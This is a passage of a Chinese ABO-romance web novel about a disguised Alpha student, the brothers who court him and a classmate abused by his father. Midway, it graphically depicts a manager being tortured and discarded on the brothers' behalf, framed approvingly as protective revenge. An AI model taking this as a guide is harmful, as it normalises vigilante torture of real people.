何夫人吃惊地捂住嘴,欣喜道:“小随,你都长这么大啦!哎呀,出落的真是漂亮!”
何先生穿着白大褂,戴着眼镜站在一旁,目光慈祥,“小随好久不见啦,算算时间,也该上大学了吧。”
赵应随点点头,“何叔叔好,我今年大一。”
“哦?在哪里上的学?”
赵应随微妙地停顿了一下,“奥尔斯顿。”
“那真是了不得啊!”何先生在屏幕那头忍不住赞叹道。
何夫人看着赵应随内敛沉静的样子,越看越喜欢,又看到右下角的自家儿子露出的狗头,叹息一声:“小阳,你作业写完了吗?”
何铭阳哀嚎道:“妈!我才刚放假!”
何夫人恨铁不成钢道:“笨鸟先飞!”
何先生扶了一下眼镜,正色道:“刚好小随也在,你有不会的要多问知道吗?”
何铭阳苦瓜脸。
何夫人心生妙计,“诶,小随你国庆有空吗?我正为小阳的学习而发愁呢!”
一拍即合,赵应随成为了何铭阳的家教老师(国庆限定版),何铭阳苦中作乐地想,起码和小随的相处时间增加了。
月亮高悬,何铭阳抱着抱枕,眼睛亮晶晶地说:“小随,今晚住我家吧,我爸我妈去非洲医疗支援了,一时半会儿回不来,咱俩可以玩个通宵!我新买了好多游戏!”
赵应随摇头拒绝:“我明天早上还要去打工。”
“好说,”何铭阳看向何衷归,往他哥身上竖了个大拇指,“让我哥明早开车送你,哥,你今晚也住这里可以不?”
何衷归可有可无地点点头。
于是赵应随水到渠成地住了下来,陪着何铭阳玩游戏到凌晨,在连输十三局后,何铭阳愤愤上楼睡觉。
清晨的第一缕阳光照在车窗上,赵应随下了车,对着何衷归道谢,何衷归微微扬起了下巴,开车离去。
面包店里,店长告诉赵应随,邵祁请了七天假,店里人手不够,希望这几天赵应随接替邵祁的岗位,前台就由他先来看着。生怕赵应随不答应,店长又承诺:按35一个小时支付工资。
赵应随没有拒绝,只是疑惑邵祁突然请假,他趁工作间隙看了下手机,和邵祁的聊天记录还停留在放假前。
按照邵祁的黏人程度,这不对劲。
赵应随按灭手机,准备等打工结束后再联系邵祁。
繁忙的一天很快就过去,赵应随推开面包店的玻璃门,结束了一天的工作。
繁星点点,赵应随打开导航,准备回何铭阳的家。
“滴——”赵应随抬眼望去,一辆越野车停在马路对面,何衷归单手扶着方向盘,侧脸线条利落,何铭阳开着车窗,对赵应随热情地摆手,“小随!这里!”
这条路禁止停车。赵应随匆匆跑上车,系好安全带,带着些许喘息,说:“你们怎么来了?”
何铭阳笑眯眯地说:“哈哈,来接你回家啊!今晚吃什么?我们出去玩吧!”
赵应随正色道:“你今天作业写了多少?”
在前面开车的何衷归嘲讽地哼笑一声。
何铭阳眼珠乱转。
赵应随目光冰冷,十分不近人情地下了结论:“看来完成情况不佳。我们先去吃饭,然后你回家写作业。”
何铭阳:“……”好苦的命。
用过餐回家,何铭阳磨磨蹭蹭、一分钟八百个理由、不情不愿地坐在书桌前奋战作业。
何铭阳咬着笔苦苦思考着,赵应随坐在一旁给邵祁发信息。
赵应随:你为什么请假?
三分钟过后,邵祁依然没有回复。
赵应随:邵祁。
邵祁立马回复:家里有点事,你不要担心。我能处理。
赵应随这才放下心,他回复道:有需要告诉我。
邵祁:嗯,我很想
邵祁迅速撤回了上一条消息。
邵祁:好。
赵应随:【小狐狸点头.JPG】
邵祁:【小狼跳舞.JPG】
“是你的男朋友吗?”何铭阳可怜巴巴地看着赵应随,琥珀色瞳孔轻颤。
赵应随卷起卷子打了一下何铭阳的头,“与你无关。”
何铭阳把笔一撂,摆出一副你不说我就不写的架势来,其实心里也拿不准,他逞强道:“小随,我只比你小了一岁半,不要把我当成弟弟,好吗?”
说着说着,何铭阳的语气也愈发认真,“我是你的青梅竹马,无论过去还是将来,你都可以信赖我、依靠我。”
赵应随在这样纯真坚定的眼神中叹息一声。或许是因为何铭阳和小时候一样,直率热情,开朗乐观,所以赵应随在潜意识里依旧把何铭阳当成了那个在夕阳下等候自己放学的小男孩。
忽视了如今的何铭阳也是一个优秀、俊朗的Alpha,甚至比自己还要高些、结实些。
“不是男朋友。”赵应随如实说。
“嗯!”何铭阳狂点头,很满意赵应随的回答,“奥尔斯顿那种地方能有什么好对象,再等个一两年也不迟。”
赵应随哭笑不得,催促他:“卷子写完了吗?”
“写完了!”何铭阳把卷子推给赵应随,一脸骄傲。
赵应随拿起红笔,认真地批改。白色的灯光为赵应随整个人镀上了一层柔和,侧脸线条起伏适中,下颌清晰,仿佛上帝精心雕琢。黑色的长发松散开来,神情静谧而温柔,怎么说,就很有人妻感。
何铭阳呆呆地看着赵应随,心中思绪万千。
赵应随扭头看到何铭阳怔愣的目光,心下好笑,将批改好的卷子推给何铭阳,耐心道:“这道题整体思路是对的,只是计算出了问题,你再算一遍,注意公式的套用。”
见何铭阳不说话,赵应随加重了语气,“小阳?”怎么像失了魂一样?
何铭阳好像被妖怪迷住的书生,此刻突然被神仙点醒,他慌乱地拿起笔和草稿纸,“好、好,我再算一遍。”
赵应随无奈地摇摇头,手指轻点卷子的另一面,“是这道题。”
何铭阳闹了个大红脸。
………
何衷归停下车,何铭阳拉开车门坐到副驾驶上,“哥,老地方。”何衷归踩下油门,车如箭般疾驰而出。
二十年前,首都郊区有一家后来赫赫有名的化肥加工厂,之所以是“后来赫赫有名”,则要从十年前说起。
某个寻常的一天,粗心的工人打翻了某种有害的化学药品,导致工厂发生爆炸,二十人死亡,数十人下落不明。
据周围村庄的村民说,自从爆炸发生之后,在午夜时分能看到工厂残骸中有冤魂在游荡,听到悲泣的鬼哭声。
就如同现在,废弃的工厂里灯亮如昼,扭曲的惨叫声响彻整个工厂,血液积流成河,一路蜿蜒到灯光所不能及的阴暗处。
经理的牙齿七零八落地散在地上,嘴里只能发出歇斯底里的惨叫声,鲜血浸透了他的脸,他的手脚都被人挑了筋,动弹不得,如一块死肉放在案板上任人宰割。
“就这?”一旁的人摘下指虎,不屑地踢了一脚经理的侧腰,“还以为是多硬的骨头呢,都敢得罪何家大少爷了。”
老板叼着根烟,目光沉沉,“蠢货。”连自己怎么死的都不知道。
轮胎与地面发出的摩擦声。何铭阳和何衷归并肩走进来,老板灭了烟,站直了身体,“何哥,铭阳
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何衷归没接过老板递来的烟,老板耸了耸肩,习以为常。
何铭阳厌恶地看着肿成猪头的经理,浓烈的血腥气让他反感,“都交代了吗?”
老板“嗯”了一声,“三天前,苏梅手底下的人给他二十万,至于任胜寒知不知情……这就不知道了。”
何铭阳眼神变得危险,如寒冬里狂风,令人不寒而栗,“又是任胜寒。”上次给小随下药的就是他,如果小随遇到的是其他人,情况会如何他根本不敢想象。
何铭阳咬牙切齿地想:他好不容易才能再次搂在手心里的明珠,竟然被任胜寒这样轻贱对待……他怎么敢?
何衷归漠然地看着一切,神情莫测,只是眼神愈加幽深。
“任胜寒不是何严家的大少爷斗得正欢吗?”何铭阳冷声道,“加一把火或许更有趣味。任胜寒他哥不是正在为淮海路的一块地皮竞标吗?”何铭阳冷哼一声,琥珀色的眼睛闪烁着危险的白光,“再忙也不能疏于管教弟弟吧。”
老板暗叹不好,果不其然,下一秒,何铭阳瞳孔就紧盯着老板,一字一句道:“你觉得呢?”
老板认命道:“铭阳说的没错。”得,又要给大少爷做事了,不过也是他活该,手底下的人都没管住。
何衷归神色淡淡,意有所指道:“严家老爷子很反对这块地皮的开发。”
老板猛然瞪大眼睛,好像被钉在原地,做不出任何动作。如果何铭阳是想踩任胜寒一脚的话,何衷归则是是剑指任家咽喉,联合严家一起从任家身上撕下一块血淋淋的肉来。
这个赵应随到底是什么来路,能让何家两位大少爷为他如此大动干戈。老板胆战心惊地应了下来,看着何衷归两人远去的身影,拿出手帕擦擦头上的冷汗。
手下低声询问怎么处理地上的人,老板不耐烦道:“这种小事还得问我?”说完,老板便发愁地离开了。
手下面面相觑,看着奄奄一息的经理,良久,有人提议道:“扔了吧。”
………
车上有一股淡淡的血腥味。赵应随上车的动作一顿,随即若无其事地系上安全带,试探道:“小阳,今天的作业写完了吗?”
何铭阳点点头:“写完了呀,我和我哥去超市买了肉和蔬菜,咱们今天晚上还吃火锅怎么样?”
赵应随回答道:“好。”
回到别墅,何铭阳打开后备箱,僵在原地,欲哭无泪地拿着一个湿淋淋的袋子,袋子里装着看不出种类的红肉,血水沿着袋子一滴滴落到地面。
“小随,哥,肉化了。”
赵应随戳戳袋子,坚硬的肉混合着冰碴儿,原来是肉的血腥味。
心中一松,赵应随不再纠结于气味,他安慰了何铭阳,拿着一部分食材进了厨房。
何铭阳和何衷归留在外面,清理后备箱残留的血污。
何衷归:“他很敏感。”
“或者说是敏锐。”何铭阳手上动作不停,显然对此习以为常,所以才来的路上临时去了趟肉店。
何铭阳擦干净后备箱,满意地点点头,和何衷归拿起剩余的食材进了门。
吃饱喝足后,何铭阳和赵应随肩靠肩坐在最中间的沙发上,面前放在一盘饭后水果。何衷归单独坐一个沙发,单手拿着手机一目十行地看着消息。
何铭阳咬了一口脆甜多汁的梨,眼睛一转,提议道:“小随,要不要去野营?猎户座流星雨这两天刚好要达到顶峰。”
赵应随没有立即答应下来。何铭阳的作业已经完成大半,出去放松下也好;店长给赵应随放了两天假,希望他充分休息好再继续工作。
条件充足,赵应随点点头,“好,店长今天给我放了假。”
何铭阳振臂一呼:“好诶!我们可以带上烧烤架和睡袋,在山上过夜。”
何衷归沉默地看着手机,面无波澜,好像对野营和流星雨不怎么感兴趣。
赵应随也不指望何衷归会和他们一起去。
坦白讲,赵应随的脑海里何衷归的形象十分矛盾。何衷归是骑着摩托与他擦肩而过的猎手;是红光昏暗的教室里,浑身散发着傲慢气场的“社长”;也是帮了自己,连续几天准时在店门口等候自己下班的Alpha。
傲慢与善意相揉杂,偏偏本人还一副无所谓的态度,令人捉摸不透。
出乎意料,何衷归愿意和他们同行。赵应随颇为惊讶,难道这个流星雨有什么奇异之处吗?几百年难遇的那种?
不管如何,三人简单商议过后,野营这件事就被提上了日程。
寂夜风卷,繁星点点,何铭阳仰靠在露台的栏杆上,嘴里含着根没点燃的烟,他伸手触摸天空,星辰在指缝间闪烁,手指扣在掌心,却只抓到冰凉的空气。
“哥,什么是喜欢?”何铭阳喃喃自语,并不期望何衷归给他回答。
果不其然,何衷归懒得回答何铭阳幼稚的询问,他修长有力的指节间夹着一根烟,猩红燃烧着,烟雾丝丝蔓延。
何衷归眯着眼打量着,瞳孔失神一瞬,他想起了赵应随耳垂上的那颗红痣。
嘲讽的地嗤笑一声,何衷归用手指揉灭了烟。
“诶!哥,你怎么走了?!”
何衷归头也不回地离开露台,懒得和这个蠢货一起吹冷风。
16. 第 16 章
去野营的计划被推迟了。
一方面是最近的天气实在欠佳,是北方少见的阴雨绵绵;另一方面,则是赵应随必须要离开别墅一趟,处理邵祁的事情。
天气渐冷,何铭阳在赵应随的要求下,不情愿地套上了一件薄外套。于此截然相反的是,何铭阳十分热衷于帮赵应随购买、搭配。
气温降低,他没有带防风的衣物,赵应随向雇主提出要回家一趟。
小金毛雇主十分依恋地躺在赵应随的大腿上,双手捧着本书看,听到赵应随的请求,原本懒洋洋的神色一下子变得警觉。
第二天赵应随就收到了各种衣物,面料柔软,剪裁独特,价值不菲。
赵应随第一反应是拒绝,但是何铭阳可怜巴巴地看着他:“吊牌都剪了。”想退也退不了了。
于是赵应随无奈地收下,作为“报酬”,他陪着何铭阳玩了好几天的换装游戏。何铭阳财大气粗,通知品牌店直接把所有的当季新品直接送来,让赵应随一件一件地试。
赵应随身高肤白,腰细腿长,行走的衣架子,什么类型的衣服都能驾驭。
何铭阳神采奕奕地给赵应随搭配,大到鞋的颜色,小到珍珠的摆放,都要一件一件斟酌。何铭阳看着眼前生无可恋的赵应随,终于体会到养成游戏的乐趣。
就是这时,赵应随收到了邵祁的来电。
不着痕迹地松了口气,赵应随走到室外接电话。
“喂——是邵祁的同学吗?我告诉你,这小子是个……”电话那头传来的是个陌生男人的声音,用词污秽,用最恶毒下流的语言侮辱邵祁。
赵应随眉眼冷了几分,手指用力地捏紧手机,“你是谁?”“老子是邵祁他……”
男人的尾音消弭在空气里,手机被扔了出去。随后是拳拳到肉的声音,夹杂着辱耳的脏话和孩子稚嫩的哭声。
男人一开始大声地怒吼,随后声音逐渐虚弱,气若游丝地嘲讽:“我看你……以后怎么在你同学面前抬起头……”
鞋踩在玻璃碎渣的声音。
有人捡起手机,走到了空旷安静的地方,呼吸急促而沉重,静默着,一言不发。
赵应随沉默了片刻,笃定道:“邵祁。”
“嗯,是我。”邵祁的声音暗哑难听,像是从秋风最深处刮卷而来,带着浓厚的悲伤与无助。
赵应随相当冷静地说:“这就是你说的你能处理?”
电话那头难堪地沉默了,半响,邵祁哑声道:“只是……出了一些意外。”
赵应随当机立断道:“你在哪里?”
邵祁下意识道:“我在……”
话锋一转,邵祁急促道:“不,你别回来!我、我会处理好的,赵……”
赵应随挂断了电话,摘掉耳坠和无框眼镜,捞起一件外套,脚步不停地往外走。
客厅里。何铭阳百无聊赖地摆弄着游戏手柄,何铭阳坐在单人沙发上,饶有兴趣地浏览着一本时尚杂志,偶尔翻开下一页。
何铭阳看到赵应随迈着长腿往外走,急忙叫住他:“小随,怎么了?”
赵应随:“我有个朋友出了点事,小阳,你好好写作业,晚上回来我检查。”
何铭阳尔康手:“小随……”
“坐我的摩托,”何衷归站起身来,直视着赵应随的眼睛,“这里很难打到车,我送你更快。”
确实没有更快的方式,赵应随点头,“麻烦你了。”
何衷归从车库里拿出头盔扔给赵应随,赵应随接过黑色头盔,扣好防风镜,稍微挪动身体,与何衷归保持一定的距离。
何衷归车把一拧,摩托车如离弦而出的冷箭,瞬间消失在何铭阳的视野里。何铭阳放下挥动着手臂,心里泛起一种复杂的波澜,好像有不可预测的事情将要在不为他知的地方发生。
赵应随从班长那里要到了邵祁的住址,将消息界面递给何衷归,何衷归瞥了一眼,随后带着笑意说“抱紧我。”
赵应随马上就理解了何衷归的意思。
何衷归像不要命了似的,摩托在高速涌动的车群里穿梭,留下汽车的急促持续的鸣笛声。冷风在耳边呼啸,如同张牙舞爪的野兽,头盔里的空气在高速运动下变得稀薄,心跳声与摩托车的轰鸣声同步。
赵应随并不感到恐慌,或许是因为他享受这种生死一线的高速,或许是因为他潜意识里相信何衷归。
邵祁的家位于一个看起来有些年头的小区里,单元楼的墙壁灰扑扑的,看不出原本的颜色,水泥地上小坑不断,偶尔有散发着恶臭的垃圾袋大剌剌地摆在路中央。
赵应随下了车,为何衷归的好意而道谢,随后他告诉何衷归不必等待,可以先行离开。
何衷归神色淡淡,额前的头发有些许凌乱,他“嗯”来一声,表示自己知道了。
赵应随深深地看了何衷归一眼,匆匆上了楼。
入户门被暴力打出一个大洞,血迹斑斑,赵应随轻轻推开摇摇欲坠的门,将混乱惨烈的情景一览眼底。不大的空间里一片狼藉,各种物品被扔的乱七八糟,桌椅散落在地,吃了一半的食物在地板上腐烂。
赵应随踏着一地的玻璃渣子向邵祁走去,鞋面与坚硬的碎粒接触,发出令人牙痒的声音。
邵祁坐在地上垂着头,眼神无神空洞,如同黑洞般透不进一丝光亮。“滚。”好似被困在铁笼里猛兽发出最后一声低沉的怒吼,虚张声势地叫嚣着自己虽败犹斗。
赵应随蹲下身子,从邵祁手臂上的血痕看到他嘴角的青紫。
被拔去利爪和尖牙的孤狼,至死也不愿向他人低头,固执地维护着自己的所剩不多的骄傲。
空气沉寂许久,邵祁终于缓慢地抬起头,映入眼帘的不是邵刚穷凶极恶的丑陋脸庞,而是他在梦里也不敢梦到的那张脸,赵应随。
愤怒和痛苦在心中喷涌而出,邵祁的眼前顿时一片模糊,他轻轻拉起赵应随的手。赵应随面色冷静地看着邵祁,任由他动作。
邵祁自己不敢相信,他就这么轻易触碰到赵应随,他颇为茫然地看着赵应随,眼泪就这么挂在眼睫上,看起来有些滑稽。
赵应随问他:“为什么不告诉我?”
告诉你,邵祁想,告诉你什么?
告诉你,我爸酗酒,我妈早死,我还有个未成年的弟弟要养?还是告诉你,我对你一见钟情,但是每当你处于险境时我却无能为力?
“你为什么要来?”为什么你一定要看到我最落魄不堪的样子?为什么来的人是你呢?
邵祁眼球里满是红血丝,一字一句道,“你是在……可怜我吗?”
赵应随松开手,冷笑一声,在邵祁绝望无助的眼神里,狠狠打了他一巴掌。
清脆的响声在耳间回荡。
邵祁一下子被打回了原形,身后竖起的尾巴失落地垂下,他懵着脸看着赵应随,眼睫上的泪珠终于落到地上。
赵应随看着邵祁茫然的样子,遏制住叹气的冲动,深刻地感到驯狗之路任重而道远。
赵应随问道:“李任声那次,你为什么要救我?”他们初见的那天,为了赵应随,邵祁用信息素对抗李任声,结果引发易感期,被赵应随打了一巴掌。
一个月后的今天,邵祁又被赵应随打了一巴掌。
那就
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是他又做错了,所以这个问题不能马虎过去,一定要斟酌回答。
“我……”邵祁大脑高速运转。怎么说?怎么说赵应随才会开心、才会满意?
一看到邵祁瞳孔轻颤的样子,赵应随就知道他又想歪了,于是他收敛了神色,逼问道:“说实话。”
邵祁喉结滚动,“那种情况,我怎么能袖手旁观……”
赵应随语气变得柔和:“这也是我要来的理由。”
冰层下的水流潺潺,邵祁心中突然萌生了一种冲动,他想把一切全盘托出,“
还有一个原因,我讨厌仗着自己性别就为所欲为的Alpha。”在他还未分化为Alpha的时候,被邵刚用第二性别和结实巍峨的身体狠狠压制,只能眼睁睁看着邵刚殴打母亲,把家里弄的一塌糊涂。
就算邵祁不说,赵应随能推出个大概,他进一步询问,验证自己的猜测:“是不是给我打电话的那个人?”
邵祁:“是,他是我……父亲。”其实还有另一层原因,但是他不敢说,他不敢告诉赵应随他喜欢他。
赵应随也知道邵祁没把话说全,但总要留一丝余地,维护好小狼狗的自尊心。
赵应随身神色一松,弯起眼睛,轻轻抚摸着邵祁的发丝,“你做的不错。”
邵祁难以置信地反问:“什、什么?”
赵应随自然道:“见义勇为。而且……”
在邵祁望眼欲穿的眼神里,赵应随环顾四周,说:“你还有个弟弟吧?”
邵祁不知道赵应随为什么这么问,他点点头,“七岁了,刚刚外婆把他接走了。”
赵应随:“他的学费生活费是谁交的?”
邵祁自嘲地说:“我,总不指望一个酒鬼。”托这个酒鬼的福,家里现在已经不成样子了。
赵应随用手指抚摸邵祁的左脸:“所以你勇敢又有责任心。”好狗狗,你大可不必自卑。
邵祁下意识地蹭蹭赵应随的掌心,动作停滞了一瞬,他抬起脑袋,用自己干净的掌心托着赵应随的手背,拿出纸巾轻轻擦拭留在上面的血迹。
“你可以申请隔离令,”赵应随看着邵祁动作,“如果你父亲再来骚扰你们的话。”
“隔离令?”
“嗯,如果监护人故意伤害未成年之嫌,可以委托律师向法院申请隔离令。”赵应随道。
邵祁哑声道:“多谢……可是我为你做不了什么,每次都是。”
赵应随含笑看着邵祁,洒脱道:“那你可要努力了,小狗。”
明明是白天,邵祁却看到了璀璨的星河,他难以自抑地往赵应随的嘴唇撞去,最后克制地在赵应随嘴角烙下一个吻。
?
赵应随还没反应过来,就被邵祁推出门外,关上了门。
背对着门的赵应随:?
隔着一扇摇摇欲坠的门,邵祁的声音顺着门上的大窟窿传过来,“开学见。”
小狼狗就是这么对你主人的?
亲完就把人推走,赵应随怒极反笑,这算什么?
因为太有素质而踹不下去门,赵应随冷笑一声,下了楼。
走出单元楼,赵应随摸了一下嘴角,微热的温度还残留在嘴边,按照邵祁别扭内敛的性格,这个举动已经算得上是大胆。
有点色心,但不多。
何衷归抱着双臂倚靠在摩托车上,浑身散发着不爽的气息,语气中透露着危险:“好了?”
赵应随也没多想,只当何衷归是等久了,“抱歉,久等了,走吧。”
何衷归目光幽深地看了一眼赵应随的嘴角,冷哼一声,“上车。”
17. 第 17 章
赵应随输入密码,门应声而开,脚还没踏入门槛,就被跑出残影的何铭阳扑了个满怀。赵应随身体微微后倾,任由何铭阳的手臂像焊铁般烙在自己的腰上。
他伸手向何铭阳的后脑勺,摸到了小金毛坚硬短刺的发茬。还挺扎手,赵应随默默放下了手。
何铭阳的鼻尖轻触赵应随脖颈上的那一小块皮肤,微凉,带着他熟悉的甜蜜的茶叶味道。
何铭阳浑身一松,高悬的心终于稳稳当当地放下,他小声嘟囔着:“怎么不接电话?”
赵应随拿出黑屏的手机:“手机关机了。”
何铭阳眉目舒展开来,恋恋不舍地松开双臂,动作猛地一滞。
何铭阳猛地凑近赵应随的衣领,鼻尖耸动,在赵应随身上嗅来嗅去,神色逐渐凝重不甘。
虽然气味很淡,但Alpha就如同敏捷的猎犬,对于同类信息素的有着本能的排斥和精准的捕捉。哪怕是最细微的一个因子,也能让Alpha浑身紧绷,下意识进入警戒状态。
“小随……”何铭阳语气下意识地带上了质问,却在看到赵应随双眼的一瞬间恢复原本的声线,“你身上怎么有Alpha的信息素?”
淡淡的野果清脆酸涩的气味。
赵应随不甚在意地说:“我朋友的。”
何铭阳瞳孔轻颤,究竟是什么样的距离,近到可以染上彼此的信息素?朋友?小随除了我之外,还有其他的好朋友吗?
何铭阳僵在原地。
被堵在玄关的何衷归长眉一挑,提着后衣领将小金毛拎起来,“碍事。”
何铭阳:是亲表哥吗?
赵应随一边换鞋一边说,“小阳,明天你就要开学了,作业吃完饭我检查一下。”
何铭阳僵在原地,强撑着说:“哈哈,好啊。”
何衷归意味不明地笑了一声。
赵应随狐疑地说:“……你不会一字未动吧?”
何铭阳心虚地后退,一溜烟地跑上了楼,哐当一声关上门,欲盖弥彰地很明显。
国庆假期的最后一天,检查完作业,何铭阳提议一起出去走走,东湖区新建了一家游乐场。如今政策放松,每天晚上都有烟花秀可看。
赵应随对于烟花的印象还停留在父母尚在的时候,牵着父亲母亲的手,一起走在满地是爆竹碎片的地上,天空中偶尔传来几声巨响,他抬起头来,各种颜色的烟花点缀了整个夜空。
这个时候,母亲就会用暖烘烘的手捂住他的耳朵,父亲站在一旁浅笑盈盈地看着母亲。
他许久没看过烟花,奶奶去世后,烟花和节日就成了日历上的红色标注。
何铭阳看着赵应随有些落寞的侧脸,心中猛地一疼,他将赵应随手背搂在手心,语气认真,“小随,以后每年我都陪你看烟花。”
赵应随一顿,神色回到何铭阳熟悉的淡然,声线却是软的,“好。”
何衷归低头看了一眼腕表,提醒道:“烟花秀马上要开始了。”
现在八点,烟花秀九点开始。
何铭阳一边急匆匆地穿上外套,一边匪夷所思地想:哥为什么会知道时间?
夜幕下的游乐场,宛如一个梦幻的国度。旋转木马伴随着宁静舒缓的音乐,悠悠转圈;摩天轮的座仓镶着发光的灯带,缓缓转动,像璀璨的星辰环绕。
自踏入游乐场的一瞬间,赵应随三人就成了人群目光的焦点。
长发Omega冷艳出尘,身姿绰约,两个高大俊朗的Alpha一左一右站在身旁,长相阳光些的Alpha兴奋地规划着游玩路线,Omega偶尔点头应和,另一个Alpha散发着生人勿近的冷酷气场,眼神却很专注地看着Omega。
他们光是站在哪里,人群就已经脑补出了一台三角恋的虐恋情深。
赵应随眉心轻拢,和何铭阳、何衷归他们两个一起出门,被人群如此热烈地看着应该是理所应当。
话是这么说,但赵应随还是遏制不住心中的反感。
簇拥着的窃窃私语的人群突兀地散开,滞涩的空气开始流动,赵应随若有所感地看向何衷归,Alpha面庞如同被黑夜雕刻,骨相线条利落分明,眼神冷漠如刃,锋利狠辣,大多数人对上这样的目光就下意识地低头远离。
何衷归微微侧脸,嘴角轻轻勾起,带着几分真心的笑意,“嗯?”
赵应随眼神微移:“没什么。”
何衷归挑眉,不再言语。
何铭阳看着他们两人旁若无人地眉来眼去,心下诧异不安,一把拉过赵应随的手,“小随,那个发箍挺适合你的。”
被何铭阳匆匆拉着走出一段距离,赵应随小声地询问:“小阳,你哥知道我是Alpha吗?”
何铭阳下意识地回头看了一眼何衷归,随后摇摇头,用气声肯定地回答:“他不知道。”
赵应随被下药后,何铭阳就把赵应随带到自家医院,就诊记录按照最高规格保密。哪怕是他哥,也查不到赵应随的任何信息。
“嗯。”赵应随也是随口一问。
何铭阳摸摸赵应随的手,“我知道的,不会乱说的。”
他们在发箍摊位前停下。扫视了一圈,赵应随拿起一个小狗发箍戴在何铭阳头上,何衷归下意识歪头,有些茫然,“小随?”
“我知道。”赵应随眼中有柔和碎闪的笑意。
何铭阳看的呆住了,过了几秒,何铭阳耳朵通红地低下头,在摊位上仔细地寻觅着,选出了一个带着狐狸耳朵的发箍,轻轻拂开赵应随耳边柔软的发丝,十足专注地为赵应随带上。
呼吸交缠,赵应随的脸近在咫尺,脸上每一个细微的表情都清晰可见。何铭阳的动作慢吞吞的,赵应随也不催促,他对于熟悉的人总是有很多耐心。
整理一下刘海,何铭阳上下打量一番,耳朵悄然蔓延上红色,“好看。”
何衷归站在一旁,微微点头。
赵应随微微摇头,在何铭阳望眼欲穿的眼神里摘下了带着狐狸耳朵的发箍,带上这么可爱的东西逛游乐场,也太幼稚了。赵应随可不想再吸引他人的目光了。
何铭阳失望地叹
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了口气,毛茸茸的耳朵垂了下来,赵应随好笑道:“这个发箍很适合你。”都是小狗嘛。
询问摊主发箍价钱,赵应随买了下来,带着笑意说:“好看。”
何铭阳蓦然红了脸,食指在太阳穴上滑动,轻咳了两声,“我可不会一直带着它的。”
赵应随失笑,“随你。”他本来也没这么打算过。
商讨先去玩什么项目,赵应随和何铭阳拿着地图一边讨论一边走,何衷归停留在小摊前,盯着狐狸发箍的白色耳朵,眼神幽深。
摊主脸上带着公式化的微笑:“刚才那位先生戴上很好看呢。”
新开的游乐场设施齐全,何铭阳带着赵应随把所有项目都玩了个遍。
临近九点,他们才意犹未尽地赶到摩天轮前。烟花秀在人工湖边开始,毗邻湖泊的摩天轮是最佳的观赏点,因此一票难求。
何铭阳发挥了他的钞能力,他们才得以坐进座舱。
摩天轮缓缓上升,地面上的设施逐渐变为一个个小点,人群如蝼蚁般往这边赶来、聚集。九点整。
突然,尖锐的呼啸声划破长空。一枚烟火腾空而起,如流星般点亮了夜幕,不过片刻,便在夜空中炸开,发出“噼里啪啦”的爆炸声。烟花绚丽绽放,伴随着人群此起彼伏的惊叹声,气氛瞬间被推向高潮。
座舱在这时升到最高点。赵应随可以把烟花全貌收揽进眼底。他静静欣赏着,脸上的光影伴随着烟花的绽放和消散而明明暗暗,缓缓抬起手,指尖轻触玻璃窗,一丝凉意顺着神经末梢传来。
窗外烟花灿烂,何铭阳托着脸,专注地看着赵应随。何衷归从背包里拿出相机,按下快门键。
赵应随收回目光,看向对面的两人。何衷归面上表情不变,自然地将相机递给赵应随。
赵应随把相机切换到查看模式,半晌,抬头,想告诉何衷归不要外传,但随即意识到,以何衷归的性格,应该不会这么做。
何铭阳探头:“小随,小随,我想看看。”
接过沉甸甸的相机,仔细看了一会儿,何铭阳对何衷归竖起大拇指,“哥,你拍的真好!”
何衷归可有可无地“嗯”了一声。
何铭阳扭头道:“小随长得好看,小随好!”
何铭阳热衷于称赞他的容貌也不是一天两天了,赵应随的眉梢带着几分笑意,“小阳夸我,小阳好。”
何铭阳正色道:“我那里夸你了,小随的美是客观的,对吧,哥?”
何衷归挑眉,点头。
赵应随:“……”
座舱的高度缓缓降低,何铭阳拿起相机,提议道:“我们来拍个合照吧。”
赵应随和何衷归点头应允。
“三、二、一。”
何铭阳举着相机,笑的灿烂;赵应随嘴角微微勾起,璀璨的烟火映照在瞳孔中;何衷归用手支着脸,面无表情地盯着镜头。
咔嚓。
这一刻被永恒记录。
后来,赵应随亲手将这张照片洗了出来,裱上相框,珍重地放在桌上。
18. 第 18 章
国庆假期匆匆而过,把泪眼汪汪的何铭阳送到学校,赵应随和何衷归开车回校。
距离奥尔斯顿几百米的地方,何衷归将车缓缓停在路边,赵应随拉开车门,“我走了。”
何衷归嗯了一声,踩下油门。
车已经开出几十米,何衷归忍不住地往后视镜看去,却只能看到赵应随模糊的人影。
他自嘲的笑了一声。
跟何衷归分离后,赵应随拉低帽檐,步伐匆匆,进入校门就直奔宿舍而去。
他要去换上他自己的衣服。不是何铭阳的眼光不好,只是衣服太过高昂抓眼,被人注意到又要生事端。
换好衣服,赵应随正要拉开门,一股热流自上而下涌动,他几乎是立刻有了反应。
他的易感期到了。
给班长发去请假消息,赵应随跌跌撞撞地往衣柜走去,拉开柜门,手指颤抖着拿出医药箱,取出那支冰冷的抑制剂。
蓝色的窗帘被拉上,几缕阳光顺着间隙钻进,针管在阳光下折射出森红的光。
赵应随深吸一口气,用尽最后一丝力气,将针头刺入柔软的腺体,推进器逐渐下压,血红的液体缓缓注入体内。他的眉头紧皱,嘴角偶尔溢出几声呻/吟,身体也不自觉地紧绷起来。
片刻后,赵应随拔出针头,靠在床头,大口大口地喘息,等待着药物发挥作用,平复这来势汹汹的生理反应。
黑市的医生警示过赵应随,“亲爱的,这种让Alpha伪装成Omega的药剂,长期使用后会有一个副作用:易感期时,你的身体会出现Omega发/情/期的特征。”
抑制剂短暂地压制住体内的热/潮,赵应随四肢无力,勉强支起身体,走了几步,一头倒在柔软的床铺上,脸颊泛着不正常的潮红,呼吸也变得急促起来,一种汹涌的燥热和酥麻感席卷全身。
信息素不自觉地大量释放,浓郁得似乎要将周围的空气都浸染。赵应随下意识地咬着唇,心中无声地骂了一句脏话,此刻白皙修长的的脖颈布满了细细的汗珠,衬衫最上面的一颗扣子在迷蒙中扯开,露出了一小片白中透红的锁骨。
喉咙干渴的要命,赵应随后喉结上下滚动,灌下一大杯冰水后仍是意犹未尽,体内的烈火熊熊燃烧,成燎原之势。
想要Alpha的信息素。
赵应随的双眼微微失神,下意识地拿起一件外套抱在怀中,威士忌的浓烈狠辣的味道充斥在鼻腔,剧烈颤抖的身体微微平息,神智回复少许,是何衷归信息素的味道。
何衷归?赵应随一脚把外套踢下床,咬紧牙关,耳朵羞红,他到底在干什么?!
在易感期拿着朋友送的外套闻朋友哥哥的信息素,且不论何衷归怎么想,他又不是同A恋!
赵应随又给自己打了一针抑制剂,然后愤愤转身面对着墙壁,眼不见心为净。他的所作所为都是药剂的副作用而已。
